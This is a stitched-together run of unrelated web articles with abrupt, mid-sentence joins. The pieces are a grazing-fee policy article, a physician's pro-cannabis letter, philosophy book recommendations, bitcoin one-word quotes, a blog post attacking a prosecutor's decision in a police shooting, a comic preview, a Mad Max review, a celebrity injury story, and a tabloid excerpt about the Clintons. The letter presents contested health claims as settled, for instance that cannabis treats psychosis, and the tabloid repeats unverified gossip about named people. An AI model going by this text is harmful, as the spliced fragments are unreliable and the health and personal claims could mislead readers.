Now, the Obama administration is trying again — Interior Secretary Sally Jewell has proposed an additional administrative fee of $2.50 per animal unit month (the forage needed to sustain one cow and calf, one horse, or five sheep or goats for a month).
The fee would provide $16.5 million in 2016 for the BLM — a $13.5 million net gain, considering a proposed $3 million decrease in rangeland management funding. Currently the BLM spends over seven times as much money on rangeland management and improvement programs as it collects in grazing fees; that’s $89 million versus $12 million. (The rangeland programs include things like permit administration, weed management, water development and vegetation restoration.) Income from the new fee would go toward rangeland health efforts, as well as help address a massive backlog of grazing permit renewals.
Jewell’s proposal would bump the feds’ income from grazers by 148 percent, but, because it’s a separate administrative tax, it doesn’t violate the requirement that the baseline grazing fee (for the BLM, $1.69 per AUM this year) can’t increase by more than 25 percent annually. The move, which Interior has attempted in similar forms since 2012, appears to be a last resort to get around bitter political resistance to baseline fee increases. But the attempt has been repeatedly thwarted — stripped from Obama’s budget before being passed each fall.
If the fee were to pass — an unlikely scenario, since it has to push through committee, including the Natural Resources Committee, chaired by conservative Utah Republican Rob Bishop — it would have a huge effect on Western ranchers. “If expenses for your business go up over 100 percent, that’s a big impact,” says Utah Cattlemen’s Association Executive Vice President Brent Tanner. And in Tanner's state, most ranchers use at least some federal land to graze their cattle, so would be affected by the new fee.
Yet conservationists have long cited the grazing fee as far too low, considering the ecological cost of livestock on public lands. The formula takes into account private land lease rates, beef cattle prices and production costs like gasoline and equipment. Thus, ranchers are supposed to pay more when conditions are good and less when conditions are worse. But that’s not what’s happened since the fee formula was implemented with the 1978 Public Rangelands Improvement Act. The rate crested the two-dollar mark just once, in 1981, and was at the legal minimum ($1.35) every year from 2007 to 2014.
Grazing fees on public land were always meant to be lower than those on private land because the former often provides poorer quality forage and ranchers usually have to maintain their own fencing and irrigation infrastructure. When grazing fees were established, they were supposed to increase over time, trailing private rates. But the opposite has happened, and the gap between public and private land lease rates has increased over time. “The 2015 fee is just 8 percent of what it would cost to graze livestock on private grazing lands,” reads an economic study conducted on behalf of the
. “In 1981, when the federal fee first went into effect, it was 23.79 percent.”
So why aren’t public land grazing fees naturally going up? That can be traced to how cattle prices and cost of production figure into the fee formula; adding these two elements to the formula did not improve its ability to predict annual forage values, says a 2001 academic paper presented at the Annual Meeting of the Society of Range Management. “In fact, adding these two indices ruined the predictive ability of the formula and… grazing fees have fallen further and further behind the private land lease rates through time.”
Part of the reason that grazing fees have provoked such fury from politically conservative ranchers is that they’re imposed by the federal government. And yet the BLM funnels 12 percent of its income from fees back to the states they came from. (For lands outside of grazing districts, it's 50 percent.) The rest of the income goes to a rangeland betterment fund and the U.S. Treasury. For the Forest Service, 25 percent goes back to the states and 50 percent to rangeland betterment.
Some conservationists, like John Horning from WildEarth Guardians, think that working with ranchers to retire
altogether may be a more realistic way to
than increasing fees, which at the moment, is a political non-starter. “There are two things that have eclipsed (the grazing fee debate)," Horning says, "the public lands movement, which is all about acres of protection; the second is climate change. Grazing is just barely on the radar.”
---
Tay Wiles is the online editor at High Country News. Follow @taywilesI recently traveled to New Zealand to present my work and knowledge about the medical uses of the cannabis plant. Before my trip, the opposition made themselves known through op-eds and media appearances. This letter was my formal response.
As a medical professional I am indeed impressed with the wide range of clinical applications of cannabis and its low side effect profile. Even the Drug Enforcement Agency’s chief administrative law judge, Francis Young, in his 1988 Finding of Fact, found marijuana to be “one of the safest therapeutic agents known to man.”
The American Medical Association (AMA) testified before Congress in 1937 that the AMA knew of no danger from the medical use of cannabis. In 2009 the AMA requested cannabis be rescheduled. The Institute of Medicine (IOM) found in 1999 that cannabis had therapeutic value and its side effects were in the same range as the average prescription drugs. Just a few months ago the National Academies of Science, Engineering and Medicine found cannabis to have therapeutic value.
There are studies and then there are studies. The Dunedin study, like so many others, was poorly designed and poorly controlled. It was not controlled for other drug use (e.g., tobacco, alcohol, caffeine, prescription drugs, opiates, etc.) or living environment. The fallacy of cannabis use causing brain damage is contradicted by numerous studies throughout the world demonstrating that cannabis is neuroprotective.
It turns out with many of the claims made by neoprohibitionist that the truth is the opposite, not just with neuroprotection but the therapeutic attributes. Cannabis treats psychosis, it doesn't cause it. Read the research by Dr. Daniele Piomelli, professor of pharmacology at UC Irvine School of Medicine, read "Cannabinomics: The Marijuana Tipping Point," from Christopher Fichtner, MD, former Director of the Illinois Department of Mental Heath and clinical professor of psychiatry at UC Riverside School of Medicine.
If, ad argumento, cannabis caused psychosis, then due to the high percentage of people using cannabis in the 60s and 70s, depending on the alleged long period, there should have been a large bump in the presence of psychosis in the 70s and 80s. In fact there was no such thing. In the past 50 years the incidence of psychosis has remained flat or very slightly decreased.
As to how I make my living it is by (1) being a very good physician who has been honored by his local medical society, (2) an elected member of our local sanitary District, (3) an expert witness, (4) an author, (5) a consultant, and (6) a public speaker. In all these areas one must know what they are doing or your business will flounder.Philosophy can seem a daunting subject in which to dabble. But there are many wonderful books on philosophy that tackle big ideas without requiring a PhD to digest.
Here are some top picks for summer reading material from philosophers across Australia.
Shame and Necessity
by Bernard Williams
After a year of Brexit, the return of Pauline Hanson and Donald Trump, many of us are wondering about the state of our public culture. Are we undergoing some kind of seismic cultural and moral shift in the way we live?
However, the ancient Greeks would have been familiar with these phenomena for all kinds of reasons. They understood how anger, resentment and revenge shape politics. And they had some pretty interesting ways of dealing with outbreaks of populist rage and constitutional crises. Our language is still littered with them: think “ostracism”, “dictatorship” and “oligarchy” (let alone “democracy”).
So, this year, amongst all the noise, I found myself driven back to the Greeks, and especially to some of the ideas that pre-date the great philosophical titans of Plato and Aristotle.
Bernard Williams was one of our most brilliant philosophers, and Shame and Necessity is one of his best books. Stunningly – just given how good this book is, and how deep it goes into the classical mind – he didn’t consider himself a classicist, but rather a philosopher who happened to have benefited from a very good classical education. As a result, he is a delightful guide across the often rugged philosophical, historical and interpretive terrain of pre-Socratic thought.
It might seem daunting at first, but the book is an elegant, searching essay on the ways in which we are now, in so many ways, in a situation more like the ancient Greeks then we realise. But it’s not a plea for a return to some golden age. Far from it. Instead, it challenges some of our most fundamental conceptions of self, responsibility, freedom and community, inviting us to think them afresh.
The heroes of his tale are, interestingly enough, not the philosophers, but the tragedians and poets, who remind us of the complexity, contingency and fragility of our ideas of the good. Although almost 10 years old, it’s a book that gets more interesting the more often you return to it. It’s never been more relevant, or more enjoyable, than now.
Duncan Ivison, University of Sydney
The Philosophy Book
by Will Buckingham
Remember when the Guinness Book of World Records was the best gift ever for the little (or grown-up) thinker in your family? Well, if you’ve been there, done that for a few Christmases in a row and are in need of an exciting, innovative gift idea, try DK’s big yellow book of intellectual fun: The Philosophy Book.
With contributions from a bunch of UK academics, this A4 sized tome is decorated with fun illustrations and great quotes from the world’s best philosophical thinkers.
The structure of the book is historical, with between one to four pages allocated to the “big ideas” from ancient times all the way up to contemporary thought. It is accompanied by a neat glossary and directory: a who’s who of thought-makers.
The focus is on the traditional Western approach to philosophy, although some Eastern thinkers are included. Each historical section – Ancient (700-250 BCE); Medieval (250-1500); The Renaissance (1500-1750); Revolution (1750-1900); Modern (1900-1950); and Contemporary (1950-present) – is divided into classical philosophical ideas from that time period.
There are 107(!) in total, including Socrates’ “The life which is unexamined is not worth living”, Rene Descartes’ “I think therefore I am”, Thomas Hobbes’ “Man is a Machine”, Ludwig Wittgenstein’s “The limits of my language are the limits of my world”, and even Slavoj Žižek’s analysis of Marx, just to name a few.
The reader can trace the history and development of philosophical thought throughout the ages, in the context of what else was occurring at that time in the world.
This gift would be suitable for ages 12+ as it is written in ordinary, accessible language. But, be warned… after reading this, your Boxing Day is likely to be filled with questions such as, “what is truth?”, “how can we think like a mountain?”, “can knowledge be bought and sold?”, and “how did the universe begin?”
Laura D’Olimpio, The University of Notre Dame Australia
50 Philosophy ideas you really need to know
by Ben Dupré
Obviously there are a lot more than 50 Philosophical Ideas we really need to know, as this book is a part of a great series of small hardback books that cover most of the great thoughts ever thunk.
Dupré has a lot of fun in these 200 pages, with 50 short essays written on a variety of classical philosophical ideas, including the important thought experiments such as brain in a vat, Plato’s cave, the ship of Theseus, the prisoner’s dilemma and many more.
The book’s blurb asks:
Have you ever lain awake at night fretting over how we can be sure of the reality of the external world? Perhaps we are in fact disembodied brains, floating in vats at the whim of some deranged puppet-master?
It is to philosophy that we turn, if not for definite answers to such mysteries, but certainly for multiple responses to these puzzles. The 50 essays in this volume cover things like the problems of knowledge, the philosophy of mind, ethics and animal rights, logic and meaning, science, aesthetics, religion, politics and justice.
There is a nifty timeline running along the footer and inspired quotes by which the reader can link the main ideas, their original thinkers, and the time at which they were writing.
This book would make a great gift for teachers, students and anyone interested in some of the big eternal questions. I would recommend it for ages 12+ given its clear writing style that illuminates and contextualises some of the most important ideas in philosophy.
Laura D’Olimpio, The University of Notre Dame Australia
On Bullshit
by Harry G Frankfurt
When someone asks you “where do I start with philosophy?”, it’s tempting to point them to a book that gives an overview of the history, key figures and problems of the discipline.
But what about someone who doesn’t even want to go that far? Not everyone’s prepared to slog their way through Bertrand Russell’s History of Western Philosophy like my optometrist once did; every time I’d go in for new glasses he’d give me an update on where he was up to. And even if they’re prepared to put in the effort, some readers might come away from such a book not really seeing the value in philosophy beyond its historical interest. It’s easy to get lost in a fog of Greek names and -isms until you can’t see the forest for the trees.
So there’s one book I recommend to everyone even if they have no interest in philosophy whatsoever: Harry Frankfurt’s classic 1986 essay “On Bullshit”, published as a book in 2005. It’s only a few pages long so you can knock it over in a couple of train trips, and it’s a great example of philosophy in action.
Frankfurt starts with the arresting claim that:
One of the most salient features of our culture is that there is so much bullshit. Everyone knows this. Each of us contributes his share. But we tend to take the situation for granted.
In the best tradition of the discipline, Frankfurt takes something we don’t even typically notice and brings it into the light so we can see just how pervasive, strange and important it is.
Bullshit, Frankfurt argues, is not simply lying. It’s worse than that. In order to lie, you first have to know the truth (or think you do), and you have to care about the truth enough to cover it up. To that extent at least the liar still maintains a relationship to the truth.
The bullshitter, by contrast, doesn’t care about the truth at all. They just want you to believe what they say. What they tell you could even be true, for all they care, it doesn’t matter, so long as you buy it.
The lying/bullshit distinction is a remarkably useful analytic tool. Be warned, though: once you have it, you’ll be seeing it everywhere.
Patrick Stokes, Deakin University
The Guardians in Action: Plato the Teacher
by William H F Altman
Plato’s dialogues were conceived by their author as a consummate, step-by-step training in philosophy, starting with the most basic beginners. Such is the orienting claim of The Guardians in Action, the second of a projected three volumes in American scholar William Altman’s continuing contemporary exploration of Plato as a teacher.
Altman, for many years a high school teacher trained in the classical languages and philosophy, has devoted his retirement from the classroom to an extraordinary attempt to reread or reteach the Platonic dialogues as a sequential pedagogical program.
The program begins with Socrates walking into the Hades-like den of sophists in the Protagoras. In the middle, the heart and high point of the 36 texts, stands the Republic, the subject of Plato the Teacher: The Crisis of the Republic of 2012 (Volume 1).
Here, the education of the philosopher-“guardians” who will rule in the best city, having seen the true Idea of the Good, is timelessly laid out. The true philosopher, as Altman’s Plato conceived him, must “go back down” into the city to educate his fellows, even though he has seen the Transcendent End of his inquiries.
The Republic itself begins emblematically, with Socrates “going back down” to the Piraeus to talk with his friends. As Altman sees things, the entire Platonic oeuvre ends with Socrates going back down into Athens, staying there to die in a cavelike prison for the sake of philosophy in the Phaedo.
Who then did Plato want for his guardians, on Altman’s reading? We his readers –like the first generation of students in the Academy whom Altman pictures being taught by Plato through the syllabus of the dialogues.
This is an extraordinarily learned book, maybe not for the complete beginner. You need to have spent a lifetime with a thinker to write books like this (with the finale, The Guardians on Trial set to come).
But it is everywhere lightened by Altman’s style, and the warm affection for Plato and for the business of teaching that radiates from every page. So it is most certainly a book for anyone who loves or has ever wondered about Plato, still the original and arguably the best introduction to philosophy.
Matt Sharpe, Deakin
Philosophy as a Way of Life
by Pierre Hadot
This book is a collection of essays by the late French philosopher and philologist Pierre Hadot. After 1970, via his studies of classical literature, Hadot became convinced that the ancients conceived of philosophy very differently than we do today.
It was, for them, primarily about educating and forming students, as well as framing arguments and writing books. Its goal was not knowledge alone but wisdom, a knowledge about how to live that translated into transformed ways of thinking, feeling, and acting, mediated by what Hadot calls “spiritual exercises” like the premeditation of evils and death, and the contemplation of natural beauty.
The ideal was the sage, someone whose way of living was characterised by inner freedom, tranquillity, moral conscience and a constant sense of his own small place in the larger, ordered world.
Hadot spent much of the last decades of his life exploring this idea in studies of ancient philosophy, particularly that of the Hellenistic and Roman periods. He wrote long books in this light on Marcus Aurelius (The Inner Citadel) and the German poet Goethe, both of whom feature prominently in the essays in Philosophy as a Way of Life, Hadot’s most popular introductory book. Hadot’s writing is simple and graceful, and has been beautifully preserved in Michael Chase’s translations for English readers.
I’ll let Hadot himself describe his intentions, in a passage which gives a sense of the spirit that breathes through the larger original:
Vauvenargues said, “A truly new and truly original book would be one which made people love old truths.” It is my hope that I have been “truly new and truly original” in this sense, since my goal has indeed been to make people love a few old truths […] there are some truths whose meaning will never be exhausted by the generations of man. It is not that they are difficult; on the contrary, they are often extremely simple. Often, they even appear to be banal. Yet for their meaning to be understood, these truths must be lived, and constantly re-experienced. Each generation must take up, from scratch, the task of learning to read and to re-read these “old truths”.
Matt Sharpe, DeakinBitcoin means a lot of different things to different people.
A lot of that has to do with the fact that the cryptocurrency can be used in different ways.
Among other things, bitcoin is a store of value, a public record and an all-around incredible technological innovation.
We decided to ask the ZapChain community of experts to describe bitcoin in just one word, and here is what they said.
“Future”
–Ken G. Brook, Vidroll.
“Revolutionary”
–Ryan Dinse, trader.
“Decentralized”
–Mike Skuthan, cryptocurrency user/miner/enthusiast.
“Money”
–Noah Berger, entrepreneur, co-founder and CEO of XBTeller.
“Magic”
–Travis Patron, author of ‘The Bitcoin Revolution: An Internet of Money Looking for an Ethereum Mad-scientist’.
“Epic”
–D. James Cooper, entrepreneur.
“Borderless”
–Aaron Williams, payments industry veteran.
“Mysterious”
–Bohan Huang, CDO at the Uro Foundation.
“Potential”
–Sharon Greenberg, CEO and co-founder of Crypto Next.
“Record”
–Sarah Martin, public affairs and communications professional.
“Distributed”
–Terrence Yang, CEO, Yang Ventures
“Commodity”
–Bradley Kam, President at Talkable
“Moon”
–Brayton Williams, co-founder at Boost VC.
“Empowering”
–Jon Southurst, tech & bitcoin writer.
“Disruptive”
–Guy Hargreaves, blockchain enthusiast.
…And once again…
“Future”
–Erin Clay, |
was necessary and whether there could have been another approach. Others however, noted the pulling and pointing of the weapon at the rapidly exiting driver was reasonable within an officer’s training involving a “felony vehicle stop.” What was known to the officer at the time was the vehicle had sped out from the bar’s parking lot at high speed, with tires screeching and no headlights. This was confirmed by bar patrons who witnessed the driver quickly speed out of the parking lot, nearly running over some people in that parking lot. The video shows the car, without headlights, turn at high speed through the red turn signal and continue to rapidly accelerate down Pearson until it recklessly hit the median and overturned, throwing the woman passenger out and onto the ground in front of the officer. Investigators noted the officer could reasonably expect he was dealing with a quickly-exiting driver who had just committed a felony DUI vehicular manslaughter in front of him and it was within the realm of reasonable tactics for the officer to be prepared for either an attempted escape or the possibility that the suspect was armed.
While Ramsey provides Feaster with valuable legal advice and out here, he fails to do so for Thomas the driver of the car and man who was shot. I highly doubt he knew that his wife was killed in the accident in the mere seconds it took him to climb out. In fact, a logical person could assume that he was climbing out to look for his wife, or, was just in a drunken stupor. Either way, assuming that Thomas knew his wreck was a felony manslaughter case and not a traffic accident is a jump of epic proportions. It’s also an assumption that highly favors the officer and his negligent actions.
Ramsey goes on to say…..
Whether the stress and anxiety of the situation caused the officer to reflexively pull the pistol’s trigger when he took it out of his holster is subject to a great deal of speculation and debate. There was also speculation by a number of the very experienced law enforcement range masters, who were among the investigators on this case, that the design of the pistol’s after-market flashlight activation system – with the on-button on the pistol’s grip just below the trigger guard – may have caused finger confusion as to what was being pressed. Speculation however is not evidence and the officer did not blame his gun’s flashlight system. The testing evidence on the pistol’s functioning showed it would not fire without a pull of the trigger. As detailed in the report the officer was at a loss to explain what happened to cause the discharge. A search of the internet did show several news stories about “accidental/negligent discharges” among police agencies, particularly with this officer’s pistol model or similar trigger-safety weapons. The investigators were clear in their collection of the evidence in this case that the officer did not purposely or intentionally fire his pistol. Some in the public will never accept that conclusion, but as explained in the legal research portion of the report – without being able to prove beyond a reasonable doubt that there was a conscious, intentional, willful pulling of the trigger – there are no criminal charges that can be filed under California law for the negligent discharge of a weapon resulting in injury, no matter how horrible, as long as there is not a death and in this case the driver was not killed by the gun shot. Civil liability, of course, is an entirely different analysis and will undoubtedly be decided in the civil court differently than the criminal courts.
This is the usual bullshit you find when cops investigate cops and then have their buddies (Ramsey) decide if there should be charges. First the officer of course have to blame the gun and it’s trigger position to that of the flashlight. While officers are required to do X number of hours of training with their firearms, NOT ONE SINGLE PARADISE police officer has suggested there were such problems with their firearms. Of course the whole department will probably get new guns now to prevent this but it’s just an excuse.
Furthermore, Ramsey goes on to say that “without being able to prove beyond a reasonable doubt that there was a conscious, intentional, willful pulling of the trigger – there are no criminal charges that can be filed under California law for the negligent discharge of a weapon resulting in injury.” Once again Feaster is given the benefit of the doubt and if he weren’t a cop he would be going to trial. How do I know that? Because I’m about to head to a trail for putting chalk on a sidewalk. In order for the crime of “Criminal Mischief” to take place I had to ‘willfully’ know my actions would deface the property. The state’s evidence is that of a security camera that shows me chalking. Wouldn’t this be the same for Feaster?? Shouldn’t he have to go into a court and explain to a jury how this wasn’t willful? Instead he has the prosecutor doing it for him?
While the above are already troubling enough, Ramsey then ventures into the question we’ve all been asking. That if this was an accidental shooting why did it take Feaster 11 minutes to tell others on scene that he had discharged his weapon? Ramsey addresses this by saying:
This brings us to the potentially most troubling part of this shooting, the lack of a specific notification of the “accidental discharge” to the other responding officers for up to 11 minutes and only when the driver was removed from the vehicle by firefighters and “unexplained” blood was found. This lack of immediate notification greatly troubled all the team investigators, as it did me. The officer explained it as a result of his shock and confusion of the entire event – and the unreasonable hope and belief that maybe his gun really did not go off and injure the driver. But there is no criminal charge for such inaction (without a death). The officer’s actions after the shooting will be handled in the administrative portion of the internal investigation being conducted by Paradise Police and is not something I am involved in.
Seriously? If this case doesn’t show you the complete and utter bullshit that police investigations (especially of their own but in general overall) have become then nothing will. The state isn’t supposed to play favors and give legal advice to those they investigate but that’s exactly what happened here. If this was anyone without a costume and a badge they would be in jail right now while prosecutors FOUND something to charge them with. Or they would have just charged him with unlawfully discharging a firearm leading to injury. It would have been on Feaster to prove that it was an accident, just like it’s on myself to prove that Chalking a sidewalk is free speech.
On another note, Ramsey isn’t charging Feaster but he is charging Thomas (the driver). Yet, by Ramsey’s logic the crash was just as much of an accident as the discharge of the firearm. Yet, that won’t matter because there was a death involved, as if Thomas needs any more punishment than surviving when his wife didn’t.
Now that Ramsey has explained to us why he shouldn’t have a job that requires him to be within 100 feet of a law book we can eagerly await the hand slap the police station will give Feaster. Even if he has his badge taken from him it will probably be under some sort of light reasoning, which will allow him to find a job on another police department. Which shouldn’t be hard for him since many police departments are looking for poorly trained, trigger happy cops, who are unable to determine if their gun fired itself or if they had pulled the trigger.
Read the full “Lay” report here.
Read District Attorney Mike Ramsey’s final report here.
WATCH THIS “ACCIDENTAL” SHOOTING BELOW:
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$400.0Marvel has provided ComicsVerse with an exclusive look at JEAN GREY #9! Previously in the titular hero’s saga, Jean found herself working within the mindscape of fellow telepath, Emma Frost, in an effort to prepare for the inevitable confrontation against The Phoenix. Though the series maintains a relatively light tone, writer Dennis Hopeless has slowly revealed the darker aspects of Jean Grey’s nature. Despite her youth, Jean has an enormous challenge ahead of her that may be the difference between life and death. Now, this challenge is closer than ever before.
By the looks of the exclusive preview below, JEAN GREY #9 kicks off immediately where the previous issue left off. In the opening pages of the second installment of the “Psych War” story arc, Jean Grey is dying. Emma Frost and an older version of Jean are at odds with each other over the young Jean’s current, critical state. Frost believes the older Jean made a mistake in her methods of preparing the younger Jean for The Phoenix. However, the older Jean believes her methods were necessary, particularly when she is very much aware of the devastation The Phoenix is capable of. Of course, this opposition between the two telepaths is not all that surprising considering their tense history. So, will the two be able to reconcile their differences for young Jean’s sake?
The next installment of JEAN GREY appears to be one that veers into darker territory. Jean’s world is fading quickly, and, if she does survive, there will be serious consequences to her traumatic, near-death experience. JEAN GREY #9 hits shelves on November 29th. Based on the pages Marvel released, it looks like this one is going to be an intense and exhilarating issue! So, get your Jean Grey fix and check out ComicsVerse’s exclusive preview below!
JEAN GREY #9 Exclusive Preview Image GalleryMAD MAX: FURY ROAD (2015)
Rated R / Color / 120 minutes
Directed by George Miller
Also Known As: Mad Max 4
Purchase it: DVD (Amazon.com) | Blu-ray (Amazon.com)
WARNING: THIS REVIEW CONTAINS SPOILERS!
2015 has been shaping up to be a stellar year at the movies. Marvel/Disney hit it out of the park (in my opinion) with their latest addition to their cinematic universe, namely AVENGERS: AGE OF ULTRON. Neil Blomkamp gave us a bizarrely violent mash-up of SHORT CIRCUIT and ROBOCOP with CHAPPiE, and aging director George Miller came out of nowhere with the action tour-de-force MAD MAX: FURY ROAD.
For years I heard that a new MAD MAX film was on its way, and I had all but given up hope until I finally started seeing trailers and promotional materials on the web. I was immediately hooked, especially after discovering that this film was going to be massively old school. Yes, there is a good chunk of CGI in MAD MAX: FURY ROAD, but much of the stunts and effects are all practical! With that in mind, having seen this film numerous times, I can’t help but wonder if there’s a mass grave of stuntmen hidden somewhere in the deserts of Namibia.
Set sometime after the events of MAD MAX: BEYOND THUNDERDOME (I think… honestly even George Miller can’t pin down where this film occurs in the series), our post-apocalyptic antihero is captured by the “Half-Life War Boys,” the fanatical troops of the film’s villain, Immortan Joe (“The Toecutter” himself, Hugh Keays-Byrne). Kept alive to serve as a universal blood donor, Max is eventually carted off to be a the mobile “blood bag” for a War Boy named Nux (Nicholas Hoult).
Immortan Joe has rallied his men and departed from his home base called The Citadel, because one of his trusted warriors, Imperator Furiosa (Charlize Theron) has stolen something precious to him and made a run for it. It eventually turns out that she has carted off Joe’s mini-harem of “birthers:” Young, beautiful, healthy women who are carrying his unborn children. Max eventually escapes from his captors, and joins Furiosa to keep ahead of the combined war parties of Immortan Joe, and his allies from “Gas Town” and “The Bullet Farm.”
And that’s your entire plot ladies and gentlemen, because the rest of movie is just a series of bone-jarring, adrenline-pumping action sequences. Bodies are hurled like ragdolls through the air as post-apocalyptic jalopies crash, flip, and explode in a parade of beautifully orchestrated vehicular carnage. And just when you think that the movie’s action scenes have finally reached their zenith, Miller manages to up the ante.
MAD MAX: FURY ROAD is an exciting film that left me completely drained after my initial viewing of it. I was physically exhausted after watching Miller’s twisted metal masterpiece, and yet, I wanted more! It’s an extremely satisfying film, that takes place in a fully realized world. There are different factions surviving across the post-apocalyptic landscape, each with their own distinctive war machines, battle tactics, leaders, economies, and politics.
The film is further enriched by all the fun and bizarre characters that thrive in Max’s world. (Guitar-playing “Doof Warrior” has rapidly become a fan favorite!) Hugh Keays-Byrne’s Immortan Joe is a great villain, who is single-minded in his quest to regain the slave girls he considers to be his property. He is unrelenting, and looks cool as hell with in his toothy breathing apparatus. Charlize Theron is fantastic as the film’s main antagonist, the tough-as-nails Furiosa. She’s suffered a great deal and yearns to regain her freedom, by returning to “The Green Place,” a lush, green paradise that she was taken from as a child.
Also great is Nicholas Hoult who plays the fanatical Nux. Initially just an insanely suicidal minion in Immortan Joe’s army, Nux eventually has a change of heart and ends up sacrificing himself to save his newfound friends. And then there’s Max himself, played rather quietly by Tom Hardy. I liked Hardy as the new Max Rockatansky, and found his character to be rather interesting.
Max is literally going “mad” as the film progresses, as he is constantly hearing voices and hallucinating. These visions that he suffers from seem to be the result of the crushing grief he feels at not being able to save his family and friends in the past. Oddly enough, the repeated hallucination of a little girl (his daughter from another mother perhaps?) actually prepares him to instinctively block a fatal crossbow bolt to the face.
Though “Mad” Max is the title character of the film, it’s Charlize Theron’s Furiosa that is the focus of the story. But don’t believe for a moment that he doesn’t play an integral role in the proceedings: Max kicks ass! He nonchalantly takes out pursuers, and is regarded to be so dangerous and feral by his captors, that he spends the first quarter of the film chained and muzzled. He’s quick to react, and his survival instincts carry him and the other protagonists through one of the deadliest desert car chases in film history!
If I have any issues with MAD MAX: FURY ROAD, they are few and fleeting. The movie is exciting, and though it makes callbacks to previous films, it does its own thing. It feels like a natural progression for the franchise. The original MAD MAX was a classic revenge tale that leaves our main character a broken man by its climax. THE ROAD WARRIOR sees him go from a coldhearted opportunist, to a man that regains enough of his humanity to do the right thing, leading to one of the greatest chase scenes in cinematic history. (Though in the end, he gets a pretty raw deal.)
In MAD MAX: BEYOND THUNDERDOME, Max has become oddly kid-friendly, and uses his skills to become the savior of a clan of desert children. It was a really strange direction for the series to go in, but you can chalk that up to studio interference (and a depressed George Miller who initially didn’t have much interest in even making the movie). But thankfully FURY ROAD is, in many ways, a return to form. Max is once again a nomadic loner, wandering the wastelands of the Earth, and running from his personal demons.
Though he feels he can survive better on his own, and most likely doesn’t want to bear the responsibility of anyone’s life (or death), Max grudgingly throws in with Furiosa and her cohorts. Their path eventually leads them to some hard truths, resulting in a veritable death race through the scorched deserts of the future, back towards the Citadel. Along the way, cars blow up, numerous people die, all while our main protagonists seek (and to a certain degree, attain) their own personal redemption.
MAD MAX: FURY ROAD is a visual feast that easily outshines the bulk of action films being made today. At seventy years old, George Miller has still got it, and I cannot wait to see what else he has in store for us. (MAD MAX: THE WASTELAND, if rumors are correct.) I truly loved this film (which is getting unnecessary backlash from Male Right’s Activists? Wait, that’s a thing?!), and it’s easily my favorite movie of 2015.
Once you have seen MAD MAX: FURY ROAD, you will have guaranteed your arrival at the gates of Valhalla, shiny and chrome! I highly recommend this film, and bestow upon it my highest rating of:He recently had his face sliced open with a sword by Princess Beatrice during a party prank which went wrong.
But it seems that was just a minor graze for singer Ed Sheeran who has revealed he required a skin graft to his foot last year after stepping into a boiling mountain geyser.
Sheeran, 25, was left unable to walk properly for months after all the skin on one of his feet was ‘melted’ away in the incident.
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In hot water: Ed Sheeran has revealed he required a skin graft to his foot last year after stepping into a boiling mountain geyser
The accident occurred while the star was travelling as part of a year-long break from the music industry.
Speaking to Kat Shoob on the Vodafone Big Top 40 radio show about his travels, he said: ‘I put my foot in a boiling geyser, like a boiling pool on top of a mountain, by mistake.
‘It melted all the skin off my foot and then they had to put a skin graft on it. This was on my 25th birthday.
‘They were like, “Don’t walk over there!” And I was like, “Why?” Then I just slipped.’
Break from hell: The accident occurred while the star was travelling as part of a year-long break from the music industry
Watch out! ‘It melted all the skin off my foot and then they had to put a skin graft on it. This was on my 25th birthday,' Ed explained
Royally scarred: In November, Sheeran required stitches to his face after an accident involving Beatrice during a party at the Royal Lodge in Windsor, which is Prince Andrew's home
He added: ‘I couldn’t walk for a couple of months. You should have seen it. It was disgusting when they put the skin graft on. The skin has to heal over it. It was bad.’
In November, Sheeran required stitches to his face after an accident involving Beatrice during a party at the Royal Lodge in Windsor, which is Prince Andrew's home.
The 28-year-old royal was pretending to knight musician James Blunt, 42, but when she lifted the blade to tap him on the shoulder, she accidentally swung it back and cut Sheeran, who was standing behind her, on the cheek.
Sheeran was taken to hospital for stitches, while the princess was said to be'very upset'.
A source told a Sunday newspaper there were around 20 guests at the party - including Andrew's ex-wife, Beatrice's mother Sarah Ferguson, 57, and Blunt's wife Sofia Wellesley, 33 - which took place while the Duke of York was away on business.As a young girl, Chelsea Clinton learned to keep secrets. But she also learned to call the Secret Service 'pigs.'
That's a claim from former White House florist Ronn Payne, retold in a new book based on interviews with more than 100 members of the presidential mansion's domestic staff.
As he walked into the second-floor kitchen one day, he saw Chelsea talking on the phone. A member of her Secret Service protective detail came in behind him to take the Clintons' only child to school.
'Oh, I’ve got to go. The pigs are here,' she told her phone pal, according to Payne – using a 1960s-era epithet for law enforcement.
'Faced with an angry agent who reminded her in no uncertain terms that it was his job to protect her, Chelsea replied: 'Well, that’s what my mother and father call you.'
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'PIGS': Chelsea Clinton (right, in 1995) allegedly referred to the Secret Service with an offensive counter-culture epithet, and said she learned it from her parents
SHAME: Chelsea (center) accompanied her parents and their dog to the Marine One chopper in 1998, just a day after the president admitted to marital infidelities
Chelsea now shares leadership of the Bill, Hillary and Chelsea Clinton Foundation, which wouldn't respond to questions about the 'pigs' episode
While the political world was focused Tuesday on Republican Rand Paul's presidential coming-out party, Politico published an excerpt of 'The Residence: Inside the Private World of the White House.'
The book that could prove problematic for Democratic front-runner Hillary Clinton, the former first lady, senator and secretary of state.
The Bill, Hillary and Chelsea Clinton Foundation did not respond to a request for comment about whether Payne's recollection is accurate. Chelsea now runs the family philanthropy along with her parents.
But that snippet from America's hidden history is just the tip of the iceberg.
Skip Allen, a Clinton-era White House 'usher' – a high-ranking butler – said in the book that Bill and Hillary were 'about the most paranoid people I'd ever seen in my life.'
'PITCHED BATTLES': Hillary (left, with the former president in August), once threw a 'heavy' object – believed by staff to have been a table lamp – across the room, Kate Andersen Brower writes in her new book (right)
Allen, who served under multiple presidents, told author Kate Anderson Brower that he preferred to work for first families he genuinely liked, rather than pretending he had warm feeligns for his employers.
'But we pretend very well,' he added.
Another usher, Chris Emery, found himself uncerimoniously fired for helping former first lady Barbara Bush with technical computer questions. He had taught her how to use a PC during President George H. W. Bush's one term in office.
When the Clintons saw a log of his calls, they feared he was leaking their secrets to the Bush clan – something he insists he never did.
'I was out of work for a year,' Emery says in the book. 'They ripped the rug right out from under me. You wonder what they'd do to someone who's really powerful.'
At the height of the sex scandal that saw Bill Clinton admitting he frolicked with intern Monica Lewinsky in the Oval Office, one White House maid was astonished to find the first couple's marital bed drenched in blood, according to Brower.
Explaining an injury, the president claimed publicly that he had 'hurt himself running into the bathroom door in the middle of the night.'
But one White House domestic told Brower that 'we’re pretty sure' Hillary 'clocked him with a book.'
DISPUTES: White House domestic employees said they heard Hillary 'clock him with a book' during the Monica Lewinsky scandal
'There were at least 20 books on the bedside table for his betrayed wife to choose from,” she writes, 'including the Bible.'
For at least three months in 1998, according to 'The Residence,' the leader of the free world'slept on a sofa in a private study attached to their bedroom.'
